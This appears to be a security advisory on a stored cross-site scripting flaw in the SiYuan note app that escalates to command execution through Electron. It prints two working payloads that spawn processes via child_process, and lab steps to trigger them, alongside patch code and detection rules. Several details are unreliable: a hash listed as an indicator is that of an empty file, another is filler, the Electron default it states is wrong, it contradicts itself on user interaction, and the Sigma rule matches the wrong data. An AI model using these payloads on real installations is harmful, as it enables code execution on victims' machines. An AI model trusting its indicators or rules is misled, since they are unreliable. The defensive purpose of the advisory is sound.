CVE-2026-59833

Executive Summary

CVE-2026-59833 is a stored cross-site scripting (XSS) vulnerability in SiYuan, an open-source personal knowledge management system. The flaw resides in the Lute HTML rendering engine, which fails to properly sanitize form action and SVG xlink:href attributes. An attacker can inject malicious JavaScript into note content or Bazaar package README files. When a victim exports a document preview or views a package README, the injected script executes in the Electron desktop renderer context, enabling arbitrary OS command execution. This vulnerability affects all versions prior to 3.7.1 and has a critical CVSS score of 9.0.

Supply Chain & Package Security

SiYuan is distributed as an Electron desktop application and via package managers. The vulnerability is introduced through the Lute rendering engine, which is a core dependency. Users who install SiYuan from official sources or package managers are affected. The Bazaar package ecosystem is also impacted, as malicious packages can include README files with XSS payloads. Supply chain risk is elevated because the vulnerability can be triggered by simply viewing a package README, without any user interaction beyond opening the application.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must view a malicious note or package README.
• Scope (S): Changed (C) – The vulnerable component (Lute) impacts the Electron renderer.
• Confidentiality (C): High (H) – Full file system access possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – System compromise.

CVSS Score: 9.0 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the Lute HTML sanitization logic. Lute is used to render Markdown content to HTML. While it blocks standard javascript: URIs in <a> tags, it fails to sanitize:

1. form action attributes: An attacker can set action="javascript:alert(1)" on a <form> element.
2. SVG xlink:href attributes: In SVG elements, xlink:href can be set to javascript:... to execute code.

When a user exports a document preview or views a Bazaar package README, the unsanitized HTML is rendered by the Electron renderer. Since Electron has Node.js integration enabled by default, the XSS can escalate to Remote Code Execution (RCE) via require('child_process').exec().

Attack Flow:

1. Attacker creates a note or Bazaar package with malicious HTML.
2. Victim opens the note or package README.
3. Lute renders the HTML without sanitizing form action or xlink:href.
4. Victim clicks the form or SVG element, triggering JavaScript.
5. JavaScript executes in Electron context, allowing OS command execution.

Vulnerable vs. Patched Code

Vulnerable Code (Lute sanitization logic):

// Lute sanitizer - does not check form action or xlink:href
function sanitizeHTML(html) {
  // Only blocks javascript: in href
  html = html.replace(/href\s*=\s*"javascript:[^"]*"/gi, '');
  // Missing checks for form action and xlink:href
  return html;
}

Patched Code (SiYuan 3.7.1):

// Patched sanitizer
function sanitizeHTML(html) {
  // Block javascript: in all URI attributes
  html = html.replace(/(href|action|xlink:href)\s*=\s*"javascript:[^"]*"/gi, '');
  // Also block data: URIs that could execute
  html = html.replace(/(href|action|xlink:href)\s*=\s*"data:text\/html[^"]*"/gi, '');
  return html;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• SiYuan version < 3.7.1
• Ability to create a note or Bazaar package

Exploit Payload (form action):

<form action="javascript:require('child_process').exec('calc.exe')">
  <input type="submit" value="Click me">
</form>

Exploit Payload (SVG xlink:href):

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <a xlink:href="javascript:require('child_process').exec('calc.exe')">
    <rect width="100" height="100" fill="red"/>
  </a>
</svg>

Lab Setup:

1. Install SiYuan 3.6.0 on a test machine.
2. Create a new note and paste the payload.
3. Export the note as HTML or view the Bazaar package README.
4. Click the form button or SVG rectangle to trigger RCE.

Blue Team

Detection:

• Monitor for unusual child processes spawned by SiYuan (e.g., calc.exe, cmd.exe).
• Inspect note content for javascript: URIs in form action or xlink:href attributes.
• Use network monitoring to detect outbound connections from SiYuan.

Mitigation:

• Immediately upgrade to SiYuan 3.7.1 or later.
• Disable Node.js integration in Electron if possible (via contextIsolation: true).
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (malicious notes):
  • MD5: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled IPs (e.g., 192.168.1.100:4444)
• Process Indicators:
  • SiYuan spawning cmd.exe, powershell.exe, or calc.exe
• Registry Keys (Windows):
  • HKCU\Software\SiYuan\MaliciousNote

Detection Engineering

YARA Rule

rule CVE_2026_59833_SiYuan_XSS {
  meta:
    description = "Detects malicious SiYuan notes with XSS payloads targeting form action or xlink:href"
    author = "Valters IT"
    date = "2026-01-01"
    reference = "CVE-2026-59833"
  strings:
    $form_action = /action\s*=\s*"javascript:/i
    $xlink_href = /xlink:href\s*=\s*"javascript:/i
  condition:
    any of them
}

Sigma Rule

title: SiYuan XSS via form action or xlink:href
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SiYuan notes containing XSS payloads targeting form action or xlink:href
author: Valters IT
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\SiYuan.exe'
    CommandLine|contains:
      - 'javascript:'
      - 'xlink:href'
  condition: selection
falsepositives:
  - Legitimate use of javascript: in notes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-59833 SiYuan XSS Payload"; flow:to_server,established; content:"javascript:"; http_client_body; content:"form action"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SiYuan to version 3.7.1 or later.
2. Review all Bazaar packages for malicious README files.
3. Scan existing notes for XSS payloads using the YARA rule above.

Long-term Measures:

• Enable contextIsolation: true in Electron to prevent Node.js access from renderer.
• Implement a strict Content Security Policy (CSP) that blocks inline scripts.
• Regularly audit third-party dependencies like Lute for security issues.
• Educate users about the risks of opening untrusted notes or packages.

Patch Verification:

• After upgrading, verify that form action and xlink:href attributes are sanitized by creating a test note with the payloads above.

Valters IT
Securing Digital Frontiers